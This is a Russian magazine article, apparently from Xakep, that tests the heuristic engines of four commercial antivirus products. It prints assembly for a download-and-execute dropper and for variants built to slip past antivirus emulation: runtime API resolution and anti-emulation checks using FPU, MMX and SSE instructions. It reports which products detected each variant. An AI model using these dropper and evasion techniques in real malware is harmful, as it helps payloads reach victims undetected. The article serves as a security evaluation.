Содержание статьи
Сегодня мы представляем на твой суд тест эвристических защит современных антивирусов. Причем не просто антивирусов, а настоящих лидеров мировой индустрии в области информационной безопасности и malware-детекта. Проверим на деле, чего стоит их лидерство.
От редакции
Александр Лозовский, редактор рубрики
С давних времен бытует миф о том, что запрятать от эвристики прогу, написанную на ассемблере, не так просто. Лаборатория ][ проверила это утверждение. Результаты традиционно плачевные — наш даунлоадер в первозданном виде был детектирован едва ли половиной антивирусов, представленных на ВирусТотале. Что уж говорить о более извращенных тестах? Да, мое увлечение ВирусТоталом можно подвергнуть справедливой критике — ведь на этом сервисе тусуются антивирусы с несколько устаревшими движками (кажется, это было сделано как раз для того, чтобы снизить полезность сервиса для вирмэйкеров). Тем не менее, общую картину эта проверка дает.
Разумеется, в тесте, проведенном нашей лабораторией, были использованы самые последние версии указанных антивирусов — с самыми новыми движками и самыми свежими базами. Впрочем, базы тут не при чем. Все сорцы и бинарники, описанные в статье, ты можешь найти на нашем диске. Да, кстати, не спеши удивляться, если у тебя ВирусТотал или твой домашний антивирус будут давать несколько лучшие результаты — к моменту попадания журнала в твои руки антивирусные конторы уже могут принять меры.
Кстати, а кто же они, эти лидеры? Посмотрим отчет аналитической компании IDC за 2009 год. Увы, более актуальные данные пока (на момент написания статьи — конец февраля) отсутствуют. В соответствующей таблице мы немного модифицировали оригинальный отчет, заменив в последней колонке рост за 20082009 годы на долю мирового рынка. Итак, из таблицы видно, что Symantec и McAfee держат больше половины рынка.
Вот их мы и протестируем в первую очередь. Кого еще? Вот, например, третье и пятое место — Trend Micro и Sophos. Причина проста — мне так хочется! Шучу-шучу. На самом деле, краш-тесты этих антивирусов лично мне на глаза давно не попадались.
Поехали!
В качестве конкретных продуктов я использовал топовые решения каждой компании:
- Symantec — Norton Internet Security 2011;
- McAfee — McAfee Total Protection;
- Trend Micro — Titanium Maximum Security;
- Sophos — Endpoint Security and Data Protection.
Как я уже упоминал, тестировать мы будем важнейший компонент любого антивируса — эвристическую защиту. Методология довольно простая: я скачивал пробную версию каждого продукта, выставлял «максимальные» настройки (чтобы все было честно), а затем сканировал каждый из пяти файлов. А теперь поподробнее о файлах.
В этом краш-тесте я решил проверить, как обстоят дела у наших подопытных с эмулированием инструкций FPU, MMX и SSE. Ниже будут приводиться интересные фрагменты программного кода файлов, использованных в тестировании (полные листинги ты найдешь на нашем DVD). Для начала я сделал простенький Downloader на ассемблере. В качестве компилятора выступал masm32v10. Все довольно просто и очевидно:
start:
push 0
push 0
push offset PathToSave
push offset TargetURL
push 0
call URLDownloadToFileA
push 0
push 0
push 0
push offset PathToSave
push offset OpenString
push 0
call ShellExecute
push 0
call ExitProcess
Этот фрагмент кода загружает файл из интернета при помощи API’шки URLDownloadToFileA, а затем запускает его при помощи ShellExecute. Казалось бы, такой простейший «вирус» должны детектировать все, однако оказалось, что это не совсем так: великий и ужасный Norton Internet Security 2011 не посчитал этот примитив за вирус. Впрочем, он оказался единственным — все остальные антивирусы справились успешно и обнаружили «угрозу».
Затем я решил слегка усложнить задачу, заменив прямой вызов API-функций через импорты на следующую последовательность действий: получение адреса библиотеки с помощью LoadLibrary, получение адреса функции с помощью GetProcAddress, дальнейший ее вызов через call reg. Получилось примерно так:
start:
push offset urlmonStr
call LoadLibraryA
push offset downloadfunc
push eax
call GetProcAddress
push 0
push 0
push offset PathToSave
push offset TargetURL
push 0
call eax
push offset shell32Str
call LoadLibraryA
push offset executefunc
push eax
call GetProcAddress
push 0
push 0
push 0
push offset PathToSave
push offset OpenString
push 0
call eax
push 0
call ExitProcess
Что же в результате? С этим «чудовищным троянским конем» справился только Sophos. Тройка лидеров отдохнула. Отлично, идем дальше. Добавим в код последнего «вируса» проверки, связанные с использованием инструкций FPU-набора.
start:
xor eax, eax
fi nit
push 0
push 1
fl d qword ptr [esp]
mov dword ptr [esp], 0
mov dword ptr [esp + 4], 0
fst qword ptr [esp]
mov eax, [esp]
test eax, eax
jz Exit
Суть этой проверки чрезвычайно проста. Вначале в стек вносятся два двойных слова — 0x00000000 и 0x00000001. Далее в регистр ST0 сопроцессора из памяти вносится учетверенное слово по адресу, который содержит регистр ESP. Таким образом, регистр ST0 содержит ненулевое значение. Затем с помощью двух MOV’ов содержимое памяти по [ESP] и [ESP+4] обнуляется.
А теперь — самое последнее и самое главное: QWORD из ST0 копируется в память по [ESP], и полученное значение по [ESP] копируется в регистр EAX. Антивирус обязан правильно обработать все инструкции, иначе финальная проверка TEST EAX, EAX будет выполнена некорректно. Если просто пропускать все FPU-инструкции, то в регистре EAX окажется ноль и произойдет вызов ExitProcess.
Однако хитрый Sophos справился и с этим тестом. Тогда я решил использовать редко встречаемые MMX инструкции.
start:
xor eax, eax
movq MM0, QWORD_VAL
push 0
push 0
movq qword ptr [esp], MM0
mov eax, [esp]
test eax, eax
jz Exit
Здесь используется аналогичная предыдущему файлу проверка. Разница лишь в том, что вместо FLD и FST используется только инструкция MOVQ. Все остальное — абсолютно идентично. Однако и здесь Endpoint Security and Data Protection показал себя с лучшей стороны, не пропустив «вредоносное ПО» на компьютер. Что же, обидно, что этот антивирус все никак не сдается… А раз так, то применим тяжелую артиллерию — инструкции набора SSE.
DQWORD_VAL db 0ffh,0ffh,0ffh,0ffh,0ffh,0ffh,0ffh,
0ffh,0ffh,0ffh,0ffh,0ffh,0ffh,0ffh,
0ffh,0ffh
start:
xor eax, eax
mov ecx, offset DQWORD_VAL
db 00fh, 10h, 01h
db 00fh, 50h, 0c0h
test eax, eax
jz Exit
Внимательный читатель, наверное, сразу же задастся вопросом: «А что это за db 00fh… в коде? Где же инструкции?». Отвечаю: дело в том, что masm32 (компилятор ассемблера от MicroSoft) последней, десятой версии, просто не знает таких мнемоник, которые я хотел использовать. На самом деле — это инструкции MOVUPS XMM0, [ECX] и MOVMSKPS EAX, XMM0. Я уверен, что подавляющее большинство людей, работающих с ассемблером и машинными командами, никогда в жизни таких инструкций не видели. Что же они делают?
Команда MOVUPS, по сути, просто копирует данные. Я, конечно, мог обойтись только копированием данных, как я это и делал в предыдущих примерах, но мне хотелось сломить нашего оставшегося стойкого оловянного солдатика. Для этой цели я использовал команду MOVMSKPS, которая расшифровывается как Extract Packed Single-Precision Floating-Point Sign Mask. Эта инструкция берет знаки четырех DWORD’ов, входящих в XMMрегистр, и кладет их в приемник, зануляя старшие двадцать восемь бит (32-битный режим).
И что же? Я достиг результата… Правда, Sophos все равно оказался «крепким орешком» и выдержал даже это испытание. На этом краш-тест закончен. Пришло время подвести итоги — все данные по срабатываниям антивирусов я расположил в одной сравнительной таблице.
Заключение
Что же получается? Эвристические алгоритмы лидеров мирового антивирусного рынка задетектили примитивную ассемблерную малварь, но любой шаг в сторону вызвал у большинства из них сильные затруднения. В этом смысле приятно удивил Sophos, обнаруживший все «угрозы». По-видимому, либо в нем используется аппаратное ускорение, перекладывающее эмуляцию кода на процессор, либо у них есть команда классных разработчиков, которая добавила даже эмуляцию MOVMSKPS :).
Конечно, наш тест не претендует на стопроцентную объективность, но ясно одно: не так важно, насколько широко AV-вендор представлен в мире или раскручен — с эффективностью защиты пользователя это не коррелирует.